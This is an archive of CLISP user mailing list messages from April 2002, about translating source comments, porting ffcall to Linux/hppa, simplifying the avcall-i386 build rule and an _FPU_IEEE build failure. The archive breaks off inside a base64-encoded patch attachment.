12:05:55PM +0000 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 07:27:08 2002 X-Original-Date: Tue, 9 Apr 2002 16:10:56 +0200 On Tue, Apr 09, 2002 at 12:05:55PM +0000, Reini Urban wrote: > Sam Steingold schrieb: > > The reason the comments will always be in English only is simple: > > when you modify the code, you should modify the comments too. > > I cannot modify the German comments, so, when Stefan translated > > clos.lisp (just now), I had to edit his translation to reflect the > > changes I made long ago but did not document then: when editing a > > German-commented file, I often relied on code as self-documentation, > > and ignored the comments altogether. > > > > > I had been using the sources to improve my understanding of German also. > > > > CLISP is not the right place to learn German. > > indeed. > even for me as native german speaker the old german comments > were also very confusing. > -- Hi, I once tried sending some of the comments to babel fish for translation. Now *that* was confusing :-) The translations are a BIG improvement. Thanks, Stefan. regards, Peter From will@misconception.org.uk Tue Apr 09 08:32:05 2002 Received: from imailg1.svr.pol.co.uk ([195.92.195.179]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uxbI-0005z2-00 for ; Tue, 09 Apr 2002 08:32:04 -0700 Received: from modem-711.duckdive.dialup.pol.co.uk ([62.25.154.199] helo=there) by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16uxbC-0000NB-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 16:32:02 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Port of ffcall to Linux/hppa X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 08:38:56 2002 X-Original-Date: Tue, 9 Apr 2002 16:28:28 +0100 On Tuesday 09 Apr 2002 3:28 am, Will Newton wrote: > I've started a port of ffcall to Linux/hppa. Currently it is almost > complete pending a toolchain problem. The parts I have and know work I will > split up into patches and you can look them over. These bits should not > affect the build on other arches. I'm going to redo these patches against the latest CVS so they apply cleanly. I should have everything complete within a week. From samuel.steingold@verizon.net Tue Apr 09 10:29:48 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uzRD-0000Pm-00 for ; Tue, 09 Apr 2002 10:29:47 -0700 Received: from gnu.org ([151.203.48.85]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020409172943.CAMF4773.out001.verizon.net@gnu.org>; Tue, 9 Apr 2002 12:29:43 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c References: <20020409160335.A334@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020409160335.A334@localhost.localdomain> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 10:30:37 2002 X-Original-Date: 09 Apr 2002 13:30:05 -0400 > * In message <20020409160335.A334@localhost.localdomain> > * On the subject of "[clisp-list] avcall-i386.c" > * Sent on Tue, 9 Apr 2002 16:03:35 +0200 > * Honorable Peter Wood writes: > > Why is the file ffcall/avcall/avcall-i386.c not used? I've compiled > with it and it (seemingly) works fine (Gnu/Linux x86). Why does Clisp > do the hairy cpp|grep|sed x.S -> x.s thing?? performance? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Never trust a man who can count to 1024 on his fingers. From samuel.steingold@verizon.net Tue Apr 09 10:43:48 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uzek-0002o1-00 for ; Tue, 09 Apr 2002 10:43:46 -0700 Received: from gnu.org ([151.203.48.85]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020409174344.GMCO2777.out011.verizon.net@gnu.org>; Tue, 9 Apr 2002 12:43:44 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] translations References: <200204082142.g38Lgn228143@mantis.privatei.com> <3CB2D923.9F1B451D@x-ray.at> <20020409161056.C334@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020409161056.C334@localhost.localdomain> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 10:44:12 2002 X-Original-Date: 09 Apr 2002 13:44:04 -0400 > * In message <20020409161056.C334@localhost.localdomain> > * On the subject of "Re: [clisp-list] translations" > * Sent on Tue, 9 Apr 2002 16:10:56 +0200 > * Honorable Peter Wood writes: > > I once tried sending some of the comments to babel fish for > translation. Now *that* was confusing :-) oh yeah - this is my regular fun. > The translations are a BIG improvement. Thanks, Stefan. indeed! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. From samuel.steingold@verizon.net Tue Apr 09 10:44:13 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uzfA-0002uK-00 for ; Tue, 09 Apr 2002 10:44:12 -0700 Received: from gnu.org ([151.203.48.85]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020409174324.IFGT15947.out005.verizon.net@gnu.org>; Tue, 9 Apr 2002 12:43:24 -0500 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Port of ffcall to Linux/hppa References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 10:45:02 2002 X-Original-Date: 09 Apr 2002 13:44:30 -0400 > * In message > * On the subject of "Re: [clisp-list] Port of ffcall to Linux/hppa" > * Sent on Tue, 9 Apr 2002 16:28:28 +0100 > * Honorable Will Newton writes: > > I'm going to redo these patches against the latest CVS so they apply > cleanly. I should have everything complete within a week. thank you! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I don't want to be young again, I just don't want to get any older. From will@misconception.org.uk Tue Apr 09 11:04:40 2002 Received: from mail6.svr.pol.co.uk ([195.92.193.212]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16uzyx-0006m2-00 for ; Tue, 09 Apr 2002 11:04:39 -0700 Received: from modem-123.arbok.dialup.pol.co.uk ([217.135.16.123] helo=there) by mail6.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16uzyv-0001VD-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 19:04:37 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c X-Mailer: KMail [version 1.3.2] References: <20020409160335.A334@localhost.localdomain> In-Reply-To: <20020409160335.A334@localhost.localdomain> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 11:29:06 2002 X-Original-Date: Tue, 9 Apr 2002 19:06:02 +0100 On Tuesday 09 Apr 2002 3:03 pm, Peter Wood wrote: > Why is the file ffcall/avcall/avcall-i386.c not used? I've compiled > with it and it (seemingly) works fine (Gnu/Linux x86). Why does Clisp > do the hairy cpp|grep|sed x.S -> x.s thing?? In an attempt to work on a wide array of broken compilers and assemblers most probably. It really is a bit of a mess in there, but I am definitely not volunteering to clean it up. :) It's one of those "change one line, then check it builds on 30 different architectures" jobs. From peter.wood@worldonline.dk Tue Apr 09 11:22:35 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16v0GI-000131-00 for ; Tue, 09 Apr 2002 11:22:34 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 54E38B66C for ; Tue, 9 Apr 2002 20:21:53 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g39I8XO00295 for clisp-list@lists.sourceforge.net; Tue, 9 Apr 2002 20:08:33 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c Message-ID: <20020409200833.A197@localhost.localdomain> References: <20020409160335.A334@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Tue, Apr 09, 2002 at 01:30:05PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 11:33:35 2002 X-Original-Date: Tue, 9 Apr 2002 20:08:33 +0200 Hi, On Tue, Apr 09, 2002 at 01:30:05PM -0400, Sam Steingold wrote: > > * In message <20020409160335.A334@localhost.localdomain> > > * On the subject of "[clisp-list] avcall-i386.c" > > * Sent on Tue, 9 Apr 2002 16:03:35 +0200 > > * Honorable Peter Wood writes: > > > > Why is the file ffcall/avcall/avcall-i386.c not used? I've compiled > > with it and it (seemingly) works fine (Gnu/Linux x86). Why does Clisp > > do the hairy cpp|grep|sed x.S -> x.s thing?? > > performance? > I bet it's impossible to meaningfully measure the performance difference of this little drop of code in Clisp's ocean. Maybe you gain a few machine instructions. So compare instead the added simplicity in the build process (which is achieved by allowing gcc to compile the 'straight' .c file) with the hairy, scary sed cruft. On the other hand, maybe there's some other reason as well ... Regards, Peter From peter.wood@worldonline.dk Tue Apr 09 13:04:14 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16v1qe-0006V9-00 for ; Tue, 09 Apr 2002 13:04:13 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 03E69B565 for ; Tue, 9 Apr 2002 22:04:07 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g39JSL700377 for clisp-list@lists.sourceforge.net; Tue, 9 Apr 2002 21:28:21 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c Message-ID: <20020409212821.A334@localhost.localdomain> References: <20020409160335.A334@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from will@misconception.org.uk on Tue, Apr 09, 2002 at 07:06:02PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 13:06:06 2002 X-Original-Date: Tue, 9 Apr 2002 21:28:21 +0200 Hi, On Tue, Apr 09, 2002 at 07:06:02PM +0100, Will Newton wrote: > On Tuesday 09 Apr 2002 3:03 pm, Peter Wood wrote: > > > Why is the file ffcall/avcall/avcall-i386.c not used? I've compiled > > with it and it (seemingly) works fine (Gnu/Linux x86). Why does Clisp > > do the hairy cpp|grep|sed x.S -> x.s thing?? > > In an attempt to work on a wide array of broken compilers and assemblers most > probably. It really is a bit of a mess in there, but I am definitely not > volunteering to clean it up. :) > It's one of those "change one line, then check it builds on 30 different > architectures" jobs. > This is definitely true, but the Makefile already deals with the '30 architectures' and I am only (tentatively) suggesting that the rule for avcall-i386.lo be changed, not the rules for sparc, mips, m68k, etc: avcall-i386.lo : $(srcdir)/avcall-i386.c $(LIBTOOL_COMPILE) $(CC) $(CFLAGS) -c $(srcdir)/avcall-i386.c (instead of) #avcall-i386.lo : avcall-i386.s # $(LIBTOOL_COMPILE) $(CC) -x none -c avcall-i386.s # #avcall-i386.s : $(srcdir)/avcall-i386-macro.S # $(CPP) $(ASPFLAGS) $(srcdir)/avcall-i386-macro.S | grep -v '^ *#line' | grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' -e 's,% ,%,g' -e 's,\. ,.,g ' > avcall-i386.s So we wouldn't have to worry about the 30 architectures, 'just' the few os's that run on i386, apart from linux which seems fine. Another advantage to using the .c file is you can follow Clisp into avcall on gdb - well, you can do it with the .s file too, but assembler is ... assembler. I don't suppose it really matters, and there _may_ be something wrong with compiling with the c file that I don't know about. Regards, Peter From smk@users.sourceforge.net Tue Apr 09 13:29:51 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16v2FS-0001Lv-00 for ; Tue, 09 Apr 2002 13:29:50 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #4) id 16v2FI-0004Nw-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 22:29:40 +0200 Received: from ae3c4.pppool.de ([213.6.227.196] helo=users.sourceforge.net) by mx0.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #4) id 16v2FH-00062R-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 22:29:40 +0200 Message-ID: <3CB34F8C.8AF7CABF@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] translations References: <200204082142.g38Lgn228143@mantis.privatei.com> <3CB2D923.9F1B451D@x-ray.at> <20020409161056.C334@localhost.localdomain> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 13:30:05 2002 X-Original-Date: Tue, 09 Apr 2002 22:31:08 +0200 :-) Sam Steingold wrote: > > The translations are a BIG improvement. Thanks, Stefan. > > indeed! > I'm so deeply touched, I have tears in my eyes... :-) From will@misconception.org.uk Tue Apr 09 14:32:41 2002 Received: from imailg2.svr.pol.co.uk ([195.92.195.180]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16v3EG-0001ur-00 for ; Tue, 09 Apr 2002 14:32:40 -0700 Received: from modem-554.alakazam.dialup.pol.co.uk ([217.135.13.42] helo=there) by imailg2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16v3EE-0000Qr-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 22:32:39 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c X-Mailer: KMail [version 1.3.2] References: <20020409160335.A334@localhost.localdomain> <20020409212821.A334@localhost.localdomain> In-Reply-To: <20020409212821.A334@localhost.localdomain> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 14:33:05 2002 X-Original-Date: Tue, 9 Apr 2002 22:34:04 +0100 On Tuesday 09 Apr 2002 8:28 pm, Peter Wood wrote: > This is definitely true, but the Makefile already deals with the '30 > architectures' and I am only (tentatively) suggesting that the rule > for avcall-i386.lo be changed, not the rules for sparc, mips, m68k, > etc: Fair enough, if you are willing to take on the repsonsibility of working this out I'm sure a patch would be accepted. > #avcall-i386.s : $(srcdir)/avcall-i386-macro.S > # $(CPP) $(ASPFLAGS) $(srcdir)/avcall-i386-macro.S | grep -v '^ > *#line' | grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' -e 's,% > ,%,g' -e 's,\. ,.,g ' > avcall-i386.s First we have to figure out what this does. AFAIK at the moment it does very little. I think it is possible to remove this without any harm. I would like someone who knew a little more about the code (Bruno?) to comment on this, but I would guess it was written for some older code. > Another advantage to using the .c file is you can follow Clisp into > avcall on gdb - well, you can do it with the .s file too, but > assembler is ... assembler. It's not really that much assembler. > I don't suppose it really matters, and there _may_ be something wrong > with compiling with the c file that I don't know about. It is necessary to get the CFLAGS correct - the hppa code I have just written requires no optimization be applied to it. I imagine one of the reasons the assembler files are shipped with avcall is that the things that are being done tend to test the optimizer of the compiler to the limit. From will@misconception.org.uk Tue Apr 09 15:10:17 2002 Received: from imailg2.svr.pol.co.uk ([195.92.195.180]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16v3oc-0007TM-00 for ; Tue, 09 Apr 2002 15:10:15 -0700 Received: from modem-554.alakazam.dialup.pol.co.uk ([217.135.13.42] helo=there) by imailg2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16v3oa-0003cv-00 for clisp-list@lists.sourceforge.net; Tue, 09 Apr 2002 23:10:13 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Compile failure of recent CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 15:11:04 2002 X-Original-Date: Tue, 9 Apr 2002 23:11:38 +0100 gcc -fPIC -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce -DUNICODE -c unixaux.c In file included from unixaux.d:4: lispbibl.d:6975: warning: volatile register variables don't work as you might wish lispbibl.d:7097: warning: register used for two global register variables In file included from unixaux.d:4: lispbibl.d:8978: warning: register used for two global register variables lispbibl.d:8996: warning: register used for two global register variables lispbibl.d:9167: warning: register used for two global register variables unixaux.d:483: `_FPU_IEEE' undeclared here (not in a function) make: *** [unixaux.o] Error 1 I have fpu_control.h, I have __setfpucw, but nowhere defines _FPU_IEEE. I'll have a look at this tomorrow. From iclarksn@tpg.com.au Tue Apr 09 15:38:20 2002 Received: from mail.tpgi.com.au ([203.12.160.58] helo=mail2.tpgi.com.au) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16v4Fm-0003Dx-00 for ; Tue, 09 Apr 2002 15:38:18 -0700 Received: from tpg.com.au (bri3-56k-025.tpgi.com.au [202.7.184.25]) by mail2.tpgi.com.au (8.11.6/8.11.6) with ESMTP id g39McCc25257 for ; Wed, 10 Apr 2002 08:38:12 +1000 Message-ID: <3CB36D79.8090106@tpg.com.au> From: Ian Clarkson Reply-To: iclarksn@tpg.com.au User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010914 X-Accept-Language: en-us MIME-Version: 1.0 To: Dr Bruno Haible Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Running ACL2 under clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 15:39:07 2002 X-Original-Date: Wed, 10 Apr 2002 08:38:49 +1000 Dear Dr Haible, Firstly, thanks for making your very useful language available. I wish to know whether it is possible to run the theorem-proving system ACL2 under clisp. When I tried to do this, I got the following message almost immediately: "We are trying to initialize the parameter that specifies the file extension name used by the local compiler. For example, in Allegro Common Lisp, the extension is "fasl" while in Lucid it is "lbin" or "sbin". Files with such extensions are understood to contain compiled code. We do not recognize this Common Lisp from its *features*. Please type as a STRINGP suitable for READ its compiled file extension name: It has to READ as a STRINGP! Put quotation marks around it:" (This message originates in the ACL2 source, of course.) The version of ACL2 (which is the only one I have succeeded in obtaining) is 1.9. I obtained it by ftp from dirleton.csres.utexas.edu. This version of ACL2 works under gcl, but I like clisp better! I would appreciate your help. Yours faithfully, Ian Clarkson From samuel.steingold@verizon.net Tue Apr 09 17:54:13 2002 Received: from out004slb.verizon.net ([206.46.170.16] helo=out004.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16v6NF-0001TR-00 for ; Tue, 09 Apr 2002 17:54:09 -0700 Received: from gnu.org ([151.203.48.85]) by out004.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020410005410.IQHJ21225.out004.verizon.net@gnu.org>; Tue, 9 Apr 2002 19:54:10 -0500 To: iclarksn@tpg.com.au Cc: Dr Bruno Haible Subject: Re: [clisp-list] Running ACL2 under clisp References: <3CB36D79.8090106@tpg.com.au> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CB36D79.8090106@tpg.com.au> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 17:55:24 2002 X-Original-Date: 09 Apr 2002 20:54:20 -0400 > * In message <3CB36D79.8090106@tpg.com.au> > * On the subject of "[clisp-list] Running ACL2 under clisp" > * Sent on Wed, 10 Apr 2002 08:38:49 +1000 > * Honorable Ian Clarkson writes: > > I wish to know whether it is possible to run the theorem-proving > system ACL2 under clisp. ACL2 supports CLISP starting with version 2.6 See -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Daddy, why doesn't this magnet pick up this floppy disk? From will@misconception.org.uk Tue Apr 09 18:37:44 2002 Received: from imailg3.svr.pol.co.uk ([195.92.195.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16v73P-0006qk-00 for ; Tue, 09 Apr 2002 18:37:43 -0700 Received: from modem-582.aerodactyl.dialup.pol.co.uk ([217.135.8.70] helo=there) by imailg3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16v73N-0001So-00 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 02:37:41 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] FPU_IEEE and clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 18:38:20 2002 X-Original-Date: Wed, 10 Apr 2002 02:39:07 +0100 clisp sets the FPU mode to _FPU_IEEE (using functions from fpu_control.h). Why does it do this, and what specifc features are required? glibc on hppa does not have _FPU_IEEE, and it seems that fenv.h is the recommended way top control the FPU mode. Maybe if I know what I am trying to do I can set the FPU mode through fenv.h instead. From will@misconception.org.uk Tue Apr 09 19:16:08 2002 Received: from imailg3.svr.pol.co.uk ([195.92.195.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16v7eY-0000b0-00 for ; Tue, 09 Apr 2002 19:16:06 -0700 Received: from modem-582.aerodactyl.dialup.pol.co.uk ([217.135.8.70] helo=there) by imailg3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16v7eV-000393-00 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 03:16:04 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_6DYB8N21RL3Y3TSEYPF2" Message-Id: Subject: [clisp-list] YA build fix for hppa Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 9 19:17:03 2002 X-Original-Date: Wed, 10 Apr 2002 03:17:30 +0100 --------------Boundary-00=_6DYB8N21RL3Y3TSEYPF2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit This excludes hppa from the fpu_control stuff. If it breaks anything later then I'll have to figure something out. --------------Boundary-00=_6DYB8N21RL3Y3TSEYPF2 Content-Type: text/x-diff; charset="iso-8859-1"; name="clisp-unixaux.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clisp-unixaux.diff" LS0tIGNsaXNwL3NyYy91bml4YXV4LmQJU2F0IE1hciAgOSAyMjo0NToyMCAyMDAyCisrKyBjbGlz cC5tb2Qvc3JjL3VuaXhhdXguZAlXZWQgQXByIDEwIDAyOjU5OjE4IDIwMDIKQEAgLTQ3MSw3ICs0 NzEsNyBAQAogCiAjID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAKLSNpZiBkZWZpbmVkKFVOSVhfTElO VVgpICYmIChkZWZpbmVkKEZBU1RfRkxPQVQpIHx8IGRlZmluZWQoRkFTVF9ET1VCTEUpKSAmJiAo ZGVmaW5lZChIQVZFX0ZQVV9DT05UUk9MX1QpIHx8ICFkZWZpbmVkKEhBVkVfU0VURlBVQ1cpKQor I2lmIGRlZmluZWQoVU5JWF9MSU5VWCkgJiYgKGRlZmluZWQoRkFTVF9GTE9BVCkgfHwgZGVmaW5l ZChGQVNUX0RPVUJMRSkpICYmIChkZWZpbmVkKEhBVkVfRlBVX0NPTlRST0xfVCkgfHwgIWRlZmlu 